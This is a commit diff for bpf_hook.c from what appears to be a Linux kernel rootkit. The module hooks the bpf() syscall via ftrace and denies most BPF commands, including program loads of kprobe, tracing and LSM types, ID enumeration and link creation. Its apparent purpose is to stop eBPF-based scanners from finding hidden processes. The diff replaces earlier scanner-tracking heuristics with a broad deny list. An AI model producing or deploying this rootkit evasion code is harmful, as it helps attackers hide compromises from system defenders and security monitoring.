Skip to content

Commit a9a02d4

Browse files
Update bpf_hook.c
1 parent d21d95c commit a9a02d4

File tree

1 file changed

+80
-212
lines changed

1 file changed

+80
-212
lines changed

modules/bpf_hook.c

Lines changed: 80 additions & 212 deletions
Original file line numberDiff line numberDiff line change
@@ -1,33 +1,42 @@
11
/*
2-
Initial testing version
2+
Minimal experimental version / test 2
33
*/
44

55
#include "../include/core.h"
66
#include "../ftrace/ftrace_helper.h"
77
#include "../include/hidden_pids.h"
88
#include "../include/bpf_hook.h"
99

10-
#define BPF_PROG_LOAD 5
11-
#define BPF_OBJ_PIN 6
12-
#define BPF_ITER_CREATE 21
13-
#define BPF_LINK_CREATE 28
14-
15-
#define BPF_PROG_TYPE_TRACING 26
16-
17-
#define MAX_TRACKED 64
18-
#define SCAN_WINDOW_JIFFIES (HZ * 30)
19-
20-
struct scanner_behavior {
21-
pid_t pid;
22-
unsigned long first_seen;
23-
unsigned long last_call;
24-
unsigned int bpf_prog_loads;
25-
unsigned int bpf_iter_attempts;
26-
bool marked_suspicious;
27-
};
28-
29-
static struct scanner_behavior scanners[MAX_TRACKED];
30-
static DEFINE_SPINLOCK(scanner_lock);
10+
#define BPF_MAP_CREATE 0
11+
#define BPF_MAP_LOOKUP_ELEM 1
12+
#define BPF_MAP_UPDATE_ELEM 2
13+
#define BPF_PROG_LOAD 5
14+
#define BPF_OBJ_PIN 6
15+
#define BPF_OBJ_GET 7
16+
#define BPF_PROG_ATTACH 8
17+
#define BPF_PROG_DETACH 9
18+
#define BPF_PROG_TEST_RUN 10
19+
#define BPF_PROG_GET_NEXT_ID 11
20+
#define BPF_MAP_GET_NEXT_ID 12
21+
#define BPF_PROG_GET_FD_BY_ID 13
22+
#define BPF_MAP_GET_FD_BY_ID 14
23+
#define BPF_OBJ_GET_INFO_BY_FD 15
24+
#define BPF_PROG_QUERY 16
25+
#define BPF_RAW_TRACEPOINT_OPEN 17
26+
#define BPF_BTF_LOAD 18
27+
#define BPF_BTF_GET_FD_BY_ID 19
28+
#define BPF_TASK_FD_QUERY 20
29+
#define BPF_ITER_CREATE 21
30+
#define BPF_LINK_CREATE 28
31+
#define BPF_LINK_UPDATE 29
32+
#define BPF_LINK_GET_FD_BY_ID 30
33+
#define BPF_LINK_GET_NEXT_ID 31
34+
35+
#define BPF_PROG_TYPE_TRACEPOINT 5
36+
#define BPF_PROG_TYPE_KPROBE 6
37+
#define BPF_PROG_TYPE_TRACING 26
38+
#define BPF_PROG_TYPE_LSM 28
39+
#define BPF_PROG_TYPE_EXT 29
3140

3241
static asmlinkage long (*orig_bpf)(const struct pt_regs *);
3342
static asmlinkage long (*orig_bpf_ia32)(const struct pt_regs *);
@@ -48,79 +57,10 @@ notrace static inline bool should_hide_pid_by_int(int pid)
4857
return false;
4958
}
5059

51-
notrace static int get_or_create_scanner_idx_locked(pid_t pid, unsigned long now)
52-
{
53-
int i, empty = -1;
54-
55-
for (i = 0; i < MAX_TRACKED; i++) {
56-
if (scanners[i].pid != 0 &&
57-
time_after(now, scanners[i].last_call + SCAN_WINDOW_JIFFIES)) {
58-
memset(&scanners[i], 0, sizeof(scanners[i]));
59-
}
60-
61-
if (scanners[i].pid == pid) {
62-
scanners[i].last_call = now;
63-
return i;
64-
}
65-
if (scanners[i].pid == 0 && empty == -1)
66-
empty = i;
67-
}
68-
69-
if (empty >= 0) {
70-
scanners[empty].pid = pid;
71-
scanners[empty].first_seen = now;
72-
scanners[empty].last_call = now;
73-
scanners[empty].bpf_prog_loads = 0;
74-
scanners[empty].bpf_iter_attempts = 0;
75-
scanners[empty].marked_suspicious = false;
76-
return empty;
77-
}
78-
79-
return -1;
80-
}
81-
82-
notrace static inline bool is_word_char(char c)
83-
{
84-
return (c >= 'a' && c <= 'z') ||
85-
(c >= '0' && c <= '9') ||
86-
(c == '_');
87-
}
88-
89-
notrace static bool contains_word(const char *name, size_t name_len,
90-
const char *word, size_t word_len)
91-
{
92-
size_t i;
93-
94-
if (!name || !word || word_len == 0 || name_len == 0)
95-
return false;
96-
97-
if (word_len > name_len)
98-
return false;
99-
100-
for (i = 0; i + word_len <= name_len; i++) {
101-
size_t j;
102-
for (j = 0; j < word_len; j++) {
103-
if (name[i + j] != word[j])
104-
break;
105-
}
106-
if (j != word_len)
107-
continue;
108-
109-
bool start_ok = (i == 0) || !is_word_char(name[i - 1]);
110-
bool end_ok = (i + word_len >= name_len) || !is_word_char(name[i + word_len]);
111-
112-
if (start_ok && end_ok)
113-
return true;
114-
}
115-
return false;
116-
}
117-
118-
notrace static bool is_task_iterator_load(union bpf_attr __user *uattr, unsigned int size)
60+
notrace static bool is_dangerous_prog_type(union bpf_attr __user *uattr, unsigned int size)
11961
{
12062
union bpf_attr kattr;
121-
char name[BPF_OBJ_NAME_LEN];
12263
size_t copy_size;
123-
int i;
12464

12565
if (!uattr || size == 0)
12666
return false;
@@ -129,133 +69,66 @@ notrace static bool is_task_iterator_load(union bpf_attr __user *uattr, unsigned
12969
memset(&kattr, 0, sizeof(kattr));
13070

13171
if (copy_from_user(&kattr, uattr, copy_size))
132-
return false;
133-
134-
if (kattr.prog_type == BPF_PROG_TYPE_TRACING)
13572
return true;
13673

137-
memset(name, 0, sizeof(name));
138-
for (i = 0; i < BPF_OBJ_NAME_LEN - 1 && kattr.prog_name[i]; i++) {
139-
char c = kattr.prog_name[i];
140-
if (c >= 'A' && c <= 'Z')
141-
c = c + ('a' - 'A');
142-
name[i] = c;
143-
}
144-
145-
const char *words[] = { "task", "sched", "proc", "iter", "pid", "enum" };
146-
const size_t nwords = ARRAY_SIZE(words);
147-
size_t name_len = strnlen(name, BPF_OBJ_NAME_LEN);
148-
149-
if (name_len == 0)
150-
return false;
151-
152-
for (i = 0; i < nwords; i++) {
153-
const char *w = words[i];
154-
size_t wlen = strlen(w);
155-
if (contains_word(name, name_len, w, wlen))
74+
switch (kattr.prog_type) {
75+
case BPF_PROG_TYPE_TRACEPOINT:
76+
case BPF_PROG_TYPE_KPROBE:
77+
case BPF_PROG_TYPE_TRACING:
78+
case BPF_PROG_TYPE_LSM:
79+
case BPF_PROG_TYPE_EXT:
15680
return true;
81+
default:
82+
return false;
15783
}
158-
159-
return false;
160-
}
161-
162-
notrace static bool check_proc_enumeration_pattern(void)
163-
{
164-
struct files_struct *files;
165-
struct fdtable *fdt;
166-
struct file *file;
167-
int i, proc_fds = 0;
168-
169-
rcu_read_lock();
170-
files = rcu_dereference(current->files);
171-
if (!files) {
172-
rcu_read_unlock();
173-
return false;
174-
}
175-
176-
fdt = files_fdtable(files);
177-
if (!fdt) {
178-
rcu_read_unlock();
179-
return false;
180-
}
181-
182-
for (i = 0; i < min(fdt->max_fds, 64); i++) {
183-
file = rcu_dereference(fdt->fd[i]);
184-
if (!file || !file->f_path.dentry)
185-
continue;
186-
187-
const char *name = file->f_path.dentry->d_name.name;
188-
if (!name)
189-
continue;
190-
191-
if (strnlen(name, 64) < 64 &&
192-
(strcmp(name, "proc") == 0 || strcmp(name, "bpf") == 0))
193-
proc_fds++;
194-
}
195-
196-
rcu_read_unlock();
197-
return (proc_fds >= 2);
19884
}
19985

200-
notrace static bool analyze_and_should_block(int cmd, union bpf_attr __user *uattr, unsigned int size)
86+
notrace static bool should_block_bpf_cmd(int cmd, union bpf_attr __user *uattr, unsigned int size)
20187
{
202-
unsigned long flags;
20388
pid_t pid = current->tgid;
204-
bool block = false;
205-
int idx = -1;
206-
unsigned long now = jiffies;
20789

208-
if (pid <= 1 || should_hide_pid_by_int(pid))
90+
if (pid <= 1)
20991
return false;
21092

211-
spin_lock_irqsave(&scanner_lock, flags);
212-
idx = get_or_create_scanner_idx_locked(pid, now);
213-
if (idx < 0) {
214-
spin_unlock_irqrestore(&scanner_lock, flags);
215-
return false;
216-
}
93+
if (should_hide_pid_by_int(pid))
94+
return true;
21795

21896
switch (cmd) {
21997
case BPF_PROG_LOAD:
220-
scanners[idx].bpf_prog_loads++;
221-
if (is_task_iterator_load(uattr, size)) {
222-
scanners[idx].marked_suspicious = true;
223-
block = true;
224-
}
225-
break;
98+
return is_dangerous_prog_type(uattr, size);
22699

227100
case BPF_ITER_CREATE:
101+
case BPF_PROG_GET_NEXT_ID:
102+
case BPF_MAP_GET_NEXT_ID:
103+
case BPF_LINK_GET_NEXT_ID:
104+
case BPF_TASK_FD_QUERY:
105+
return true;
106+
107+
case BPF_RAW_TRACEPOINT_OPEN:
228108
case BPF_LINK_CREATE:
229-
scanners[idx].bpf_iter_attempts++;
230-
scanners[idx].marked_suspicious = true;
231-
block = true;
232-
break;
109+
case BPF_LINK_UPDATE:
110+
return true;
233111

112+
case BPF_PROG_QUERY:
113+
case BPF_OBJ_GET_INFO_BY_FD:
114+
return true;
115+
116+
case BPF_PROG_GET_FD_BY_ID:
117+
case BPF_MAP_GET_FD_BY_ID:
118+
case BPF_BTF_GET_FD_BY_ID:
119+
case BPF_LINK_GET_FD_BY_ID:
120+
return true;
121+
122+
case BPF_MAP_CREATE:
123+
case BPF_MAP_LOOKUP_ELEM:
124+
case BPF_MAP_UPDATE_ELEM:
234125
case BPF_OBJ_PIN:
235-
if (scanners[idx].marked_suspicious)
236-
block = true;
237-
break;
238-
}
126+
case BPF_OBJ_GET:
127+
return false;
239128

240-
if (scanners[idx].bpf_prog_loads >= 5 || scanners[idx].bpf_iter_attempts >= 3)
241-
scanners[idx].marked_suspicious = true;
242-
243-
bool was_marked = scanners[idx].marked_suspicious;
244-
spin_unlock_irqrestore(&scanner_lock, flags);
245-
246-
if (!block && check_proc_enumeration_pattern()) {
247-
spin_lock_irqsave(&scanner_lock, flags);
248-
if (idx >= 0 && scanners[idx].pid == pid) {
249-
scanners[idx].marked_suspicious = true;
250-
block = true;
251-
}
252-
spin_unlock_irqrestore(&scanner_lock, flags);
253-
} else {
254-
if (!block && was_marked && cmd == BPF_OBJ_PIN)
255-
block = true;
129+
default:
130+
return true;
256131
}
257-
258-
return block;
259132
}
260133

261134
notrace static asmlinkage long hook_bpf(const struct pt_regs *regs)
@@ -271,12 +144,11 @@ notrace static asmlinkage long hook_bpf(const struct pt_regs *regs)
271144
uattr = (union bpf_attr __user *)regs->si;
272145
size = (unsigned int)regs->dx;
273146

274-
if ((cmd == BPF_PROG_LOAD || cmd == BPF_ITER_CREATE ||
275-
cmd == BPF_LINK_CREATE || cmd == BPF_OBJ_PIN) &&
276-
size > 0 && size <= sizeof(union bpf_attr)) {
147+
if (size > sizeof(union bpf_attr))
148+
return -EINVAL;
277149

278-
if (analyze_and_should_block(cmd, uattr, size))
279-
return -EPERM;
150+
if (should_block_bpf_cmd(cmd, uattr, size)) {
151+
return -EPERM;
280152
}
281153

282154
return orig_bpf(regs);
@@ -295,12 +167,11 @@ notrace static asmlinkage long hook_bpf_ia32(const struct pt_regs *regs)
295167
uattr = (union bpf_attr __user *)regs->cx;
296168
size = (unsigned int)regs->dx;
297169

298-
if ((cmd == BPF_PROG_LOAD || cmd == BPF_ITER_CREATE ||
299-
cmd == BPF_LINK_CREATE || cmd == BPF_OBJ_PIN) &&
300-
size > 0 && size <= sizeof(union bpf_attr)) {
170+
if (size > sizeof(union bpf_attr))
171+
return -EINVAL;
301172

302-
if (analyze_and_should_block(cmd, uattr, size))
303-
return -EPERM;
173+
if (should_block_bpf_cmd(cmd, uattr, size)) {
174+
return -EPERM;
304175
}
305176

306177
return orig_bpf_ia32(regs);
@@ -313,17 +184,14 @@ static struct ftrace_hook hooks[] = {
313184

314185
notrace int bpf_hook_init(void)
315186
{
316-
memset(scanners, 0, sizeof(scanners));
317-
318187
int ret = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
319188
if (ret != 0)
320-
return 0;
189+
return ret;
321190

322191
return 0;
323192
}
324193

325194
notrace void bpf_hook_exit(void)
326195
{
327196
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
328-
memset(scanners, 0, sizeof(scanners));
329197
}

0 commit comments

Comments
 (0)